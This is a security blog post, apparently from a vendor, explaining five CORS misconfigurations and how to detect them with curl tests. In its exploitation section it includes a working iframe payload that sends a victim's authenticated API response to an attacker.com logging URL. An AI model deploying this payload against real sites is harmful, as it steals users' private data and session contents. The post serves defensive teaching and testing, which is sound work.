DEV Community

Davi
Davi

Posted on Originally published at blog.mago.team

Working: CORS misconfigurations escape automated detection

CORS Misconfigurations: How Origin Reflection Turns Every Browser into a Session-Token Exfiltration Agent

A sandboxed iframe, invisible on an apparently benign page, fires a credentialed fetch to your API. The server reads the Origin header, reflects it back in Access-Control-Allow-Origin, sets Access-Control-Allow-Credentials: true, and delivers the authenticated response with the session token included. From page load to account compromise: under 2 minutes, no phishing, no malware, no alerts in the logs.

CORS misconfigurations escape automated detection because the critical variant — origin reflection — only materializes at runtime. Scanners see headers that look correct. Only a request with an attacker-controlled origin reveals the problem. This post covers the 5 misconfigurations in order of exploitability, demonstrates the exploit in 12 lines of code, and shows 3 curl commands that find what every automated tool misses.

CORS is not security — it is a controlled relaxation

The same-origin policy exists to protect the browser: by default, JavaScript on https://evil.com cannot read responses from https://api.example.com. CORS is not a security mechanism layered on top of that protection. It is the mechanism by which the server asks the browser to selectively abandon it.

3 headers control this behavior. Access-Control-Allow-Origin (ACAO) specifies which origin the server authorizes to read the response. Access-Control-Allow-Credentials (ACAC) indicates whether cookies and authentication headers should accompany the request. The preflight (OPTIONS) is required by the browser for non-simple requests, but not for GETs with standard headers — those fire directly with credentials if the CORS configuration allows it.

The WHATWG Fetch spec defines an explicit restriction: ACAO: * and ACAC: true cannot coexist. Browsers enforce this rule and reject the response. What happens in practice is precisely what creates the real vulnerability: the developer sees the CORS error in the console, doesn't understand why the rejection is happening, and swaps the wildcard for reflection of the received Origin header. The protection that existed disappears.

The 5 misconfigurations, in order of exploitability

1. Origin reflection. The server mirrors the received Origin header exactly back into the ACAO. Combined with ACAC: true, every origin on the planet becomes trusted. This is the most common misconfiguration because it is introduced intentionally as a fix for the browser's wildcard rejection.

2. Null origin whitelisting. The server trusts Origin: null. Browsers assign the null origin to iframes with the sandbox attribute, pages loaded via file://, and some types of redirects. James Kettle documented this vector in 'Exploiting CORS misconfigurations for Bitcoins and bounties' (PortSwigger Research, 2016), extracting encrypted wallet backups from a cryptocurrency exchange. The data was used in offline brute-force attacks that yielded the wallets' private keys.

3. Wildcard with credentials (spec violation). ACAO: * plus ACAC: true is blocked by the browser, but the request already reached the server. Systems that process authentication before validating CORS expose data on the backend even when the browser does not deliver the response to the attacking JavaScript.

4. Regex bypass. Patterns like /trusted\.com$/ accept attacker-trusted.com. Patterns like /^https?:\/\/.*trusted\.com/ accept https://trusted.com.evil.com. 1 misplaced character in the regex converts an allowlist policy into an inverted one.

5. Subdomain takeover via wildcard policy. A *.company.com policy is correct as long as all subdomains are under control. Abandoned subdomains pointing to deactivated Heroku, AWS S3, or GitHub Pages instances become trusted origins that anyone can register and control. The CORS policy remains valid; the problem is who now answers for that subdomain.

Exploitation: from sandboxed iframe to session token in 12 lines

The null origin exploit combines 3 primitives: the sandbox attribute of an iframe, a data: URI containing executable JavaScript, and XMLHttpRequest with withCredentials. The result is an authenticated request fired from an origin the server trusts and the attacker controls entirely.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>
    var req = new XMLHttpRequest();
    req.onload = function() {
      location = 'https://attacker.com/log?r='
        + encodeURIComponent(this.responseText);
    };
    req.open('GET', 'https://api.victim.com/account', true);
    req.withCredentials = true;
    req.send();
  </script>">
</iframe>
Enter fullscreen mode Exit fullscreen mode

The sandbox attribute without allow-same-origin forces the iframe's origin to null. The server that whitelists null receives the request, sees Origin: null, responds with ACAO: null and ACAC: true, and delivers the authenticated response. The JavaScript inside the iframe reads the responseText and redirects to the attacker's server with the content URL-encoded.

HackerOne report #426147 documents exactly this pattern in production: origin reflection with ACAC: true on an authenticated API endpoint, classified as High severity. Any domain could read the affected user's authenticated responses. HackerOne report #470298, against a US Department of Defense system, describes account takeover and session hijacking through the same mechanism on government-grade infrastructure.

Why automated scanners miss this

DAST scanners check static headers: ACAO: *, known misconfiguration patterns, absence of origin validation. When the scanner makes a request without an attacker-controlled Origin header, the server responds with ACAO: https://scanner.vendor.com, which looks like a specific, permitted origin. The scanner marks the endpoint as compliant.

The reflection logic lives in server-side code at runtime: if (origin in whitelist) return origin; else reflect it. This logic is invisible to static header inspection. No CVE is assigned to a header that simply reflects any origin it receives.

The MAGO team's tool addresses this blind spot by automating dynamic origin scanning: it sends requests with Origin: null, Origin: evil.com, and the reflected origin to each endpoint in the attack surface, classifying responses by the ACAO/ACAC pair.

Conventional scanners also don't test the ACAO/ACAC pair jointly. They check ACAO in isolation, without correlating with the presence of ACAC: true in the same response. The real vulnerability requires both headers present simultaneously, and that correlation doesn't appear in any mainstream scanner's rule sets.

Detection: 3 curl commands that find what scanners miss

Null origin test. Sends a request with Origin: null and observes whether the response contains Access-Control-Allow-Origin: null combined with Access-Control-Allow-Credentials: true:

curl -s -o /dev/null -D - \
  -H 'Origin: null' \
  -H 'Cookie: session=YOUR_TOKEN_HERE' \
  https://api.example.com/account \
  | grep -i 'access-control'
Enter fullscreen mode Exit fullscreen mode

Reflection test. Substitutes the origin with an external domain and verifies whether the server mirrors it back:

curl -s -o /dev/null -D - \
  -H 'Origin: https://evil.com' \
  -H 'Cookie: session=YOUR_TOKEN_HERE' \
  https://api.example.com/account \
  | grep -i 'access-control'
Enter fullscreen mode Exit fullscreen mode

If the response contains Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true, the endpoint is compromised. Any page on the web can read your users' authenticated responses.

Regex bypass test. Uses a domain that ends with the legitimate domain to detect suffix-matching patterns:

curl -s -o /dev/null -D - \
  -H 'Origin: https://evil-example.com' \
  https://api.example.com/account \
  | grep -i 'access-control-allow-origin'
Enter fullscreen mode Exit fullscreen mode

All 3 tests must be run against every authenticated endpoint, not just the root route. Data export endpoints, token renewal, and user profile are higher-value targets and frequently carry distinct CORS configurations from the rest of the application.

Every API endpoint handling authenticated sessions needs to be tested with curl -H 'Origin: https://attacker.com': if the response reflects that origin alongside ACAC: true, an attacker-controlled site can read your users' authenticated responses today — no CVE, no scanner alert, and no evidence in the logs beyond ordinary authenticated requests.

Top comments (0)